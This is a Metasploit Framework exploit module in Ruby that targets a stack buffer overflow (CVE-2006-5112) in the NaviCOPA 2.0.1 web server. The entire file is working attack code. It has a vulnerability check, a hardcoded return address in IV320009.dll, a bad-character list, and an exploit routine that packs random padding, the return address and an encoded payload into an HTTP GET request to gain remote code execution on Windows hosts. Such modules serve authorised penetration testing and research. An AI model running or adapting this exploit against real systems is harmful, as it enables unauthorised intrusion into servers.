##
# $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /InterVations/ ] }
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
The vulnerability is caused due to a boundary error within the
handling of URL parameters.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9797 $',
'References' =>
[
[ 'CVE', '2006-5112' ],
[ 'OSVDB', '29257' ],
[ 'BID', '20250' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
],
'DisclosureDate' => 'Sep 28 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80)
], self.class )
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
if (resp =~ /2.01 11th September/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
sploit = rand_text_alphanumeric(228, payload_badchars)
sploit << [target.ret].pack('V') + payload.encoded
uri = '/' + sploit
res = "GET #{uri} HTTP/1.1\r\n\r\n"
print_status("Trying target %s" % target.name)
sock.put(res)
sock.close
handler
disconnect
end
end